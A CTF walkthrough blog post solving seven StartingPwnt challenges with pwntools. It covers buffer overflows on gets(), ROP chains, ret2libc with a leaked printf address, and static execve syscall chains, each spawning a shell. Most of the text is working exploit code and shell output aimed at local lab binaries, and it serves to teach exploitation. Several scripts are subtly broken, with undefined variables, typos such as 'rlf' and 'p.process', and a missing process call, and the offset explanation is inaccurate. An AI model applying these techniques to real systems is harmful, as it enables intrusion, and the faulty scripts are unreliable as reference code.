StartingPwnt ROP part walkthrough

Posted October 15, 2020 by 0xNinja ‐ 14 min read

What is StartingPwnt?

What? You did not heard about StartingPwnt? Well, to sum up: this is a Github repository to train your CTF pwn skills.

To get started :

git clone https://github.com/MaitreRenard/StartingPwnt.git

Let’s pwn!

We are ready to start our ROP trip. I will show you how I solved those challenges using the famous pwntool Python package. Of course my code will be ugly and my explainations will not be 100% accurate, but I am a pwn beginner after all 🤷

pwna

Call a function with a buffer overflow

#include <stdio.h>
#include <stdlib.h>

//gcc -no-pie -o pwna pwna.c

void win() {
    system("/bin/sh");
}

void pwnme() {
    char mein_buff[16];
    gets(mein_buff);
}

int main() {
    puts("Salut à tous !");
    pwnme();
    return 0;
}

In this script we see that the function win() will pop us a shell: this is our goal. But it is never called! We have to call it somehow.

Hopefully, we see the use of gets() on line 12, with a buffer associated. I you are familiar with bufferoverflows, you might know that we can use gets(buffer) to replace registers values, and thus call our so-wanted function win().

In order to achieve that, we want to replace the value of the RIP register to point to win()’s address. The classic way to do it is by doing so:

  1. Find the length of the padding to use to rewrite RIP value
  2. Find win()’s address
  3. Send payload with the padding and win()’s address

I will do this in Python with pwntool:

>>> from pwn import *
>>> elf = ELF('./pwna')
>>> cyclic(64) # to make sure we exceed the buffer's capacity)
>>> b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
>>> exit() # go back to bash
$ gdb pwna
[...]
> r
Salut à tous !
# input our payload
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa
Program received signal SIGSEGV, Segmentation fault.
> info registers
[...]
RBP  0x6161616661616165 ('eaaafaaa')
RSP  0x7fffffffe068 <— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
RIP  0x40117c (pwnme+39) <— ret

We managed to change the value of RBP with our data. Now we have to find the right amount to manipulate RIP:

>>> cyclic_find('eaaa') # our payload that caused the Seg fault
16

So our payload have to be 16 bytes long to overflow RBP (remember this is our buffer size), we can calculate it for RIP: 16 + 8 (RSP) = 24 as we are working with 64bits executables. This means that with a payload of 24 bytes, we are able to manipulate RIP’s value.

Now, get win()’s address:

win_addr = p64(elf.symbols['win']) # simple as that!

Now that we have all the information we want, we can script our exploit to get that shell:

from pwn import *

elf = ELF('./pwna')
win = p64(elf.symbols['win'])

payload = cyclic(24)
payload += win

p = process(elf.file.name)
p.recvline()
p.sendline(payload)
p.interactive()

And execute it:

[*] Switching to interactive mode
Check
$ whoami
ninja
$

We got our shell!

Breath in… and out… okay let’s calm down for a moment and enjoy this cute bird:

pwnb

Call a function with argument with a mini ROPchain

Now that you got the basics I will skip the steps to get the correct payload length and function address process.

#include <stdio.h>
#include <stdlib.h>

//gcc -no-pie -o pwnb pwnb.c

void win(int n) {
    if (n == 4) {
        system("/bin/sh");
    } else {
        puts("C'est loupé");
    }
}

void pwnme() {
    char mein_buff[16];
    gets(mein_buff);
}

int main() {
    puts("Salut à tous !");
    pwnme();
    return 0;
}

This one is the same as pwna, with a slight difference: win() wants an argument and must be equal to 4 to pop the shell.

Using a x86-64 syscall list website we know that an argument is provided using the RDI, RSI, RDX registers, and so on… For instance, we want to set the value of the register RDI to 4 before calling win().

How to do that? We will start to use some gadgets to build a mini-ROPchain! Our plan is to:

  1. Change RDI value to 4
  2. Overflow registers to change RIP’s value to win()’s address

How to change RDI’s value:

$ ROPgadget --binary pwnb
[...]
0x000000000040120b : pop rdi ; ret
[...]

So our solve script will be:

from pwn import *

elf = ELF("./pwnb")
win = elf.symbols["win"]
rdi = 0x40120b

payload = cyclic(24) # fill the registers
payload += p64(rdi) # pop rdi
payload += p64(4) # rdi = 4
payload += p64(win) # call win(4)

p = process(elf.file.name)
p.recvline()
p.sendline(payload)
p.interactive()

And we execute our script:

[*] Switching to interactive mode
$ whoami
ninja
$

Nice!

pwnc

Call multiple functions with arguments, a nice little ROPchain

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

//gcc -no-pie -o pwnb pwnb.c
bool a = false, b = false, c = false;

void holclc(int x) {
    if (x == 4 && !a) {
        puts("c) Pas maaaal");
        c = true;
    } else {
        puts("C'est loupé");
    }
}

void holblb(int x, int y, int z) {
    if (x == 24 && c) {
        puts("b) Pas maaaal");
        b = true;
    } else {
        puts("C'est loupé");
    }
}

void holala(int x, int y) {
    if (x*y == 120) {
        puts("a) Pas maaaal");
        a = true;
    } else {
        puts("C'est loupé");
    }
}

void win() {
    if (a && b && c) {
        system("/bin/sh");
    } else {
        puts("C'est loupé");
    }
}

void pwnme() {
    char mein_buff[16];
    gets(mein_buff);
}

int main() {
    puts("Salut à tous !");
    pwnme();
    return 0;
}

Here, the main difficulty is that we have to set some variables a, b and c to true in order to pop our shell. The order is important here because we have to set c before setting b for example, so we will do it like so:

  1. Set c to true
  2. Set b to true
  3. Set a to true
  4. Call win()

In order to set c we have to call the function holclc() with an argument of value 4, we can it with the snippet:

elf = ELF('./pwnc')
c = p64(elf.symbols['holclc'])
pop_rdi = p64(0x4012eb) # ROP gadget 'pop rdi; ret'
c_payload = pop_rdi # pop rdi
c_payload += p64(4) # rdi = 4
c_payload += c # call holclc(4)

Continuing like that to set b:

b = p64(elf.symbols['holblb'])
b_payload = pop_rdi # pop rdi
b_payload += p64(24) # rdi = 24
b_payload += b # call holblb(24,X,X), with X garbage actually in both rsi and rdx
# because we don't need them to be set at a particular value

And to finish for a:

a = p64(elf.symbols['holala'])
a_payload = pop_rdi # pop rdi
a_payload += p64(60) # rdi = 60
a_payload += p64(0x4012e9) # ROP gadget 'pop rsi; pop r15; ret'
a_payload += p64(2) # rsi = 2
a_payload += p64(0x45) # r15 = 0x45, we need to reset r15 as we popped it
a_payload += a # call holala(60,2)

With all this code we can create our solve script:

from pwn import *

elf = ELF('./pwnc')
pop_rdi = p64(0x4012eb)
pop_rsi_pop_r15 = p64(0x4012e9)
win = p64(elf.symbols['win'])
a = p64(elf.symbols['holala'])
b = p64(elf.symbols['holblb'])
c = p64(elf.symbols['holclc'])

payload = cyclic(24) # fill the registers
payload += c_payload # set c to true
payload += b_payload # set b to true
payload += a_payload # set a to true
payload += win # call win to pop the shell

p.process(elf.file.name)
p.recvline()
p.sendline(payload)
p.interactive()

We execute it:

[*] Switching to interactive mode
$ whoami
ninja
$

:)

You won the right to watch this nice bird dancing:

pwnd

ret2libc to pop a shell with printf leak

#include <stdio.h>
#include <stdlib.h>

//gcc -no-pie -o pwnd pwnd.c

void pwnme() {
    char mein_buff[16];
    gets(mein_buff);
}

int main() {
    printf("printf addr : %p\n", printf);
    pwnme();
    return 0;
}

How interesting… We don’t have any function that calls system('/bin/sh'), how can we pop a shell out of this? Well, with a good knowledge it is doable pretty quickly. Theoricaly, we can still call some functions of the libc. Let’s think about it: since the start of this training, we replace RIP’s value with the address of the function we want to call. So why not keep doing it? Because we have the libc in the binary, we can access its functions, and get there addresses like we did before – actually not exactly like we are used to do it but you will see how it goes. 😇

We will need to:

  1. Get libc’s base address
  2. Get any libc’s function address
  3. Calculate system()’s address
  4. Call system('/bin/sh')

Let’s start ma boi!

libc base address:

from pwn import *

elf = ELF('./pwnd')
libc_base = elf.libc # as simple as that

Get printf address in the libc:

printf_libc = libc.symbols['printf'] # as simple as that

Calculate system() address:

p = process(elf.file.name)
l = p.recvline().decode() # l = "printf addr : 0x7ff07ffa2b10"
printf = l.split(' ')[-1] # printf = "0x7ff07ffa2b10"
printf = int(printf, 16) # printf = 0x7ff07ffa2b10
elf_libc = printf - printf_libc # calculate libc base in the binary

And now we just have to call system() from pwnd:

system = libc_base.symbols['system'] # get system() address in libc
elf_system = p64(elf_libc + system) # calculate system() address with the offset of pwnd
bin_sh = next(libc_base.search(b'/bin/sh')) # get '/bin/sh' address in libc
elf_bin_sh = p64(elf_libc + bin_sh) # calculate '/bin/sh' address with the offset of pwnd

payload = cyclic(24) # fill the registers
payload += pop_rdi # ROPgadget 'pop rdi; ret'
payload += elf_bin_sh # rdi = '/bin/sh'
payload += elf_system # call system('/bin/sh')

To sum up our solve script:

from pwn import *

elf = ELF('./pwnd')
pop_rdi = p64(0x4011db)
libc_base = elf.libc
libc_printf = libc_base.symbols['printf']

p = process(elf.file.name)
l = p.recvline().decode()
printf = l.split(' ')[-1]
printf = int(printf, 16)
elf_libc = printf - printf_libc

system = libc_base.symbols['system']
elf_system = p64(elf_libc + system)
bin_sh = next(libc_base.search(b'/bin/sh'))
elf_bin_sh = p64(elf_libc + bin_sh)

payload = cyclic(24)
payload += pop_rdi
payload += elf_bin_sh
payload += elf_system

p.sendline(payload)
p.interactive()

And let’s execute that bad boy:

[*] Switching to interactive
$ whoami
ninja
$

pwne

ROPchain for code execution with static compilation ('/bin/sh' is given)

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

//gcc -static -no-pie -o pwne pwne.c
const static char *ptit_cadeau = "/bin/sh";

void pwnme() {
    char mein_buff[16];
    gets(mein_buff);
}

int main() {
    puts("Salut à tous !");
    pwnme();
    return 0;
}

Now things are a little bit more complicated, but don’t worry we will see how to get that shell 😄 Basically for pwnd we could call system() because it was compilated with the libc included (dynamicaly), now you see that the -static flag is provided for the compilator, ie. include only used functions from the libc. Here, we are on our own. But how can we still call system() to get a shell? Well a call to a function is simply a mov rax, value; syscall. You see where this is going? Yup, we are going to work with some ROPgadget to call by our own /bin/sh. But how should we proceed?

  1. Get /bin/sh address
  2. Change registers value to call something like exec() or assimilated

So to begin with the easy part, /bin/sh address:

elf = ELF('./pwne')
bin_sh = p64(next(elf.search(b'/bin/sh'))) # simple as that

But how to mimic system() behaviour? Well, if we take a look again at this website, select ‘x86-64’ syscalls and search for ‘exec’, we get a bunch of instructions. The most common one is sys_execve(), which take 3 arguments (cmd, argv, envp). Here we won’t need the last two, only cmd will be useful. Now the best part, sys_execve():

pop_rax = p64(0x40944c) # ROPgadget 'pop rax; ret'
pop_rdi = p64(0x401716) # ...
pop_rsi = p64(0x4068c8) # ...
pop_rdx = p64(0x43ce75) # ...
syscall = p64(0x402294) # ROPgadget 'syscall; ret'
# sys_execve('/bin/sh', null, null)
payload_exec = pop_rax
payload_exec += p64(59) # rax = 59 -> sys_execve code
payload_exec += pop_rdi
payload_exec += bin_sh # rdi = '/bin/sh'
payload_exec += pop_rsi
payload_exec += p64(0) # rsi = 0
payload_exec += pop_rdx
payload_exec += p64(0) # rdx = 0
payload_exec += syscall # call sys_execve('/bin/sh', null, null)

Aaannd… That’s pretty much it. Our final script might loook like this:

from pwn import *

elf = ELF('./pwne')
bin_sh = p64(next(elf.search(b'/bin/sh')))
pop_rax = p64(0x40944c)
pop_rdi = p64(0x401716)
pop_rsi = p64(0x4068c8)
pop_rdx = p64(0x43ce75)
syscall = p64(0x402294)

p = process(elf.file.name)
p.recvline()

payload_exec = pop_rax
payload_exec += p64(59)
payload_exec += pop_rdi
payload_exec += bin_sh
payload_exec += pop_rsi
payload_exec += p64(0)
payload_exec += pop_rdx
payload_exec += p64(0)
payload_exec += syscall

payload = cyclic(24)
payload += payload_exec

p.sendline(payload)
p.interactive()

Let’s try it:

[*] Switching to interactive mode
$ whoami
ninja
$

Recreation time! You can look at those hacker cats:

pwnf

ROPchain for code execution with static compilation (‘system()’ is given)

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

//gcc -no-pie -o pwnf pwnf.c
void win() {
    system("echo 'Eh ben super hein !'");
}

void pwnme() {
    char mein_buff[16];
    gets(mein_buff);
}

int main() {
    puts("Salut à tous !");
    pwnme();
    return 0;
}

Here this is the oposite of the previous one: we have system() but not /bin/sh. Well this is not a problem now! We juts have to create ourselves the ‘/bin/sh’ string and its win:

  1. Get system() address
  2. Change RDI value for /bin/sh
  3. Call system('/bin/sh')

As you are already used to retrieve a function’s address, I will skip the snippet, but will include it in the solve script.

We want to craft the /bin/sh string and put it in RDI. But wait, how can we do it? Well, we could do it several ways, but let’s keep it simple: we have to store somewhere in the binary this string, and then mov it to RDI.

So first, let’s find a cool ROPgadget for us:

$ # find a gadget to mov data to a pointer
$ ROPgadget --binary pwnf | grep " : mov .*word ptr .*, .* ; ret"
[...] # we get a lot of gadget here, let's filter
$ # get only gadget like 'mov Xword ptr [rXX], rXX ; ret'
$ ROPgadget --binary pwnf | grep " : mov .word ptr \[r.\{2\}\], r.\{2\} ; ret"
0x000000000045f7ad : mov qword ptr [rax], rdx ; ret
0x000000000042901b : mov qword ptr [rdi], rcx ; ret
0x0000000000429323 : mov qword ptr [rdi], rdx ; ret
0x000000000043ad4b : mov qword ptr [rdi], rsi ; ret
0x000000000040ff90 : mov qword ptr [rdx], rax ; ret
0x000000000046d0f1 : mov qword ptr [rsi], rax ; ret
0x0000000000410e39 : mov qword ptr [rsi], rdi ; ret

Now we could choose any of those gadget to work with, but we are used to play with RDI and RSI, so let’s choose 0x0000000000410e39 : mov qword ptr [rsi], rdi ; ret.

Let’s now store /bin/sh somewhere in the binary:

elf = ELF('./pwnf')
writable = p64(elf.writable_segment[0].header.p_vaddr) # get the address of a writable header in the binary
mov_rsi_rdi = p64(0x410e39) # ROPgadget 'mov qword ptr [rsi], rdi ; ret'
pop_rdi = p64(0x401716)
pop_rsi = p64(0x4068d8)

payload_bin_sh = pop_rsi
payload_bin_sh += writable # rsi = elf_writable_header.addr
payload_bin_sh += pop_rdi
payload_bin_sh += b'/bin/sh\0' # rdi = '/bin/sh'
payload_bin_sh += mov_rsi_rdi # write '/bin/sh' into the writable header

Hooray! Now we want to call system() with our /bin/sh string as an argument. I bet you know how to do it now. Our final script is:

from pwn import *

elf = ELF('./pwnf')
writable = p64(rlf.writable_segments[0].header.p_vaddr)
system = p64(elf.symbols['system'])
mov_rsi_rdi = p64(0x410e39)
pop_rdi = p64(0x401716)
pop_rsi = p64(0x4068d8)

payload_bin_sh = pop_rsi
payload_bin_sh += writable
payload_bin_sh += pop_rdi
payload_bin_sh += b'/bin/sh\0'
payload_bin_sh += mov_rsi_rdi

payload = cyclic(24) # fill the registers
payload += payload_bin_sh # write '/bin/sh' somewhere
payload += pop_rdi
payload += writable # rdi points to te address we wrote '/bin/sh'
payload += system # call system('/bin/sh')

p.sendline(payload)
p.interactive()

Let’s check if it works:

[*] Switching to interactive mode
$ whoami
ninja
$

pwng

ROPchain for code execution with static compilation (no ‘system()’ or ‘/bin/sh’)

Finaly we are at the last exercise!

#include <stdio.h>
#include <stdlib.h>

//gcc -static -no-pie -o pwng pwng.c
void pwnme() {
    char mein_buff[16];
    gets(mein_buff);
}

int main() {
    puts("Salut à tous !");
    pwnme();
    return 0;
}

Yup, you got it, there is nothing in this binary. We are still going to get that shell, but we are on our own on this one. Let me tell you something: we already made the hardest part. How, you might ask? Well, we must combine pwne and pwnf to get ourselves a nice system() and a good /bin/sh, then it will be easy.

As it is a ‘copy/paste’ from the two previous challenges, we are only getting the final solving script:

from pwn import *

elf = ELF('./pwng')
writable = p64(elf.writable_segments[0].header.p_vaddr) # get a writable spot in the binary
mov_rsi_rax = p64(0x46ca71) # ROPgadget 'mov dword ptr [rsi], rax ; ret'
pop_rdi = p64(0x401716) # ROPgadget 'pop rdi ; ret'
pop_rsi = p64(0x4068c8) # ROPgadget 'pop rsi ; ret'
pop_rax = p64(0x40944c) # ROPgadget 'pop rax ; ret'
pop_rdx = p64(0x43ce75) # ROPgadget 'pop rdx ; ret'
syscall = p64(0x402294) # ROPgadget 'syscall ; ret'

p = process(elf.file.name)
p.recvline()

payload = cyclic(24) # fill the registers
# write '/bin/sh' somewhere in the binary
payload += pop_rax
payload += b'/bin/sh\0' # rax = '/bin/sh'
payload += pop_rsi
payload += writable # rsi points to a writable header in the binary
payload += mov_rsi_rax # write '/bin/sh' to the writable spot
# call execve('/bin/sh') to get the shell
payload += pop_rdi
payload += writable # rdi points to '/bin/sh'
payload += pop_rsi
payload += p64(0) # rsi = 0
payload += pop_rdx
payload += p64(0) # rdx = 0
payload += pop_rax
payload += p64(59) # rax = 59 (execve OPCODE)
payload += syscall # call 'execve("/bin/sh", 0, 0)'

p.sendline(payload)
p.interactive()

Guess what? We got the shell:

[*] Switching to interactive mode
$ whoami
ninja
$

This is exactly how I felt when I got the shell.

Author: 0xNinja